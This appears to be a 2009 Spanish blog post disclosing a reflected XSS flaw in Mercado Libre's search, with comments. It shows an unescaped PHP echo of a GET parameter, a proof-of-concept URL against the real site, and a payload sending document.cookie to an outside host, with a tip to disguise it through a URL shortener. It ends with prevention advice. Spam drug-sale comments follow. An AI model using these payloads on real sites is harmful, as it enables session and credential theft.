Ataque XSS - Ejemplo real
Los ataques XSS son como los accidentes de tránsito:
- Uno nunca piensa que le puede pasar
- Cuando le pasa le echa la culpa a otro
- Son algo mucho peor de lo que uno piensa
Hoy Demián Rodriguez, uno de los chicos del Web & Beer consiguió hacer un ataque XSS a Mercado Libre, esto es muy serio y grave.
El sitio atacado
Mercado Libre es el 12° sitio mas visitado de Argentina lo cual es mucho tráfico. Conozco gente que trabajó ahí y la verdad que me contaron cosas feas, pero en el desarrollo de software estamos acostumbrados a eso.
Un ataque cualquiera
Este ataque es bien simple. Supongamos que alguien tiene en su sito nomeataques.php:
<p>Búsqueda: <?php echo $_GET['q'] ?></p>
Simplemente modificando el párametro GET q puedo imprimir lo que quiera. Al principio al contarle al programador web este le contesta: - Escribí lo que se te cante el orto quieras, ¿cómo me puede afectar? - Ok, escribo un JavaScript - Buenísimo mandale un alert, redirigilo, ¿que tan grave es eso? - No no para que voy a hacerle eso si le puedo robar las cookies directamete. Si exactamente. Le puedo pedir que me de las cookies y eso es lo que redirijo a mi sitio, y eso es lo que robo. Es decir que puedo robar (entre otras cosas) las credenciales del usuario. Feo, muy feo. El ataque a Mercado Libre En Mercado Libre el ataque es mas pavo todavía, porque ni siquiera le tenemos que poner las etiquetas <SCRIPT>. El parámetro de búsqueda (que es una URL reescrita) se imprime directamente. Usando el ejemplo de mi amigo Demián: http://listado.mercadolibre.com.ar/xenon%27%3Bdocument.body.innerHTML%3D%27programar-for-dummies
Bueno como verán es demasiado fácil. Lo que hice a continuación fue crear un sitio que simula un ataque (no lo hace de verdad pero si no confian en mi no hagan click en los siguientes enlaces). Con un poco de JavaScript hacemos un location a un script nuestro, y que mande en un parámetro las preciadas galletas cookies. http://listado.mercadolibre.com.ar/xenon’%3Bdocument.location%3D’http%3A%2F%2Frodrigoarce.com%2Fxss.php%3Fcookie%3D’%2Bdocument.cookie%2B’%26o%3D Obviamente ese script le suena sospechoso a muchos de uds. y no caerían en cliquearlo. Pero estamos en la época de los “url shorteners” (¡gracias Twitter!) así que un link como http://bit.ly/1QjQch es mucho mas común, se ve menos peligroso y hasta haría click simplemente por curiosidad.
Como prevenirlo (programador)
La prevención frente a estos ataques es bien simple, hay que escapar todas y cada una de las variables que recibimos, y hacerlo pensando donde van a estar, ya vimos que un simple strip_tags no es suficiente.
Como prevenirlo (usuario)
Como ya demostré hoy en día es casi imposible no hacer click en un lugar que podría contener un ataque XSS, así que evitar links es una solución a medias. Y por mas que se sepa el ataque en general no se puede arreglar de un día al otro, lo que recomiendo es borrar las cookies después de utilizar el sitio (no es lo mismo que cerrar la sesión aunque también puede ser útil esto).
Tags: ataque, Mercado Libre, xss

17-10-2009 at 19:54
Soy un kapo! descubrí un agujero de seguridad en un sitio web re popular…. pero la verdad es que como hablamos antes: popular != bueno, esta desarrollado por newbies.
Con solo ver el codigo fuente, se hackea solo:
var variableQueVienePorGET_y_no_la_escapo = ‘hola’;
17-10-2009 at 19:56
Si lo que te falto es tener alma de hacker para romperlo todo jaja.
18-10-2009 at 19:21
El alma hacker no es romper todo, sino reportar el bug y refregarselo en la cara a todo el mundo :P
Alguien lo reporto a Mercadolibre?
19-10-2009 at 0:35
@Pablo si ya se debería haber dicho cracker en vez de hacker. En realidad tuvo alma de hacker.
Ya le comente a un amigo que trabaja ahi y dijo que le iba a avisar asi que se podría decir que si.
11-06-2010 at 3:58
Hello! Please e-mail me your contacts. I have a question webmaster {at} complective(.)ru” rel=”nofollow”>……
Thank you!!!…
05-07-2010 at 14:15
Buy:Mega Hoodia.Valtrex.Petcam (Metacam) Oral Suspension.Actos.Synthroid.Arimidex.Nexium.Retin-A.Lumigan.Zyban.Prevacid.Prednisolone.Zovirax.100% Pure Okinawan Coral Calcium.Human Growth Hormone.Accutane….
20-07-2010 at 23:32
Buy:Lipothin.Acomplia.Lasix.Zetia.Amoxicillin.Aricept.Ventolin.Seroquel.Benicar.Cozaar.Buspar.SleepWell.Advair.Wellbutrin SR.Zocor.Prozac.Female Cialis.Lipitor.Nymphomax.Female Pink Viagra….
29-08-2010 at 22:56
Gas http://smaryhwzeb3.AUTOPARTSVILLE.INFO/tag/Ventless+Gas+sale/ : Gas…
Gas…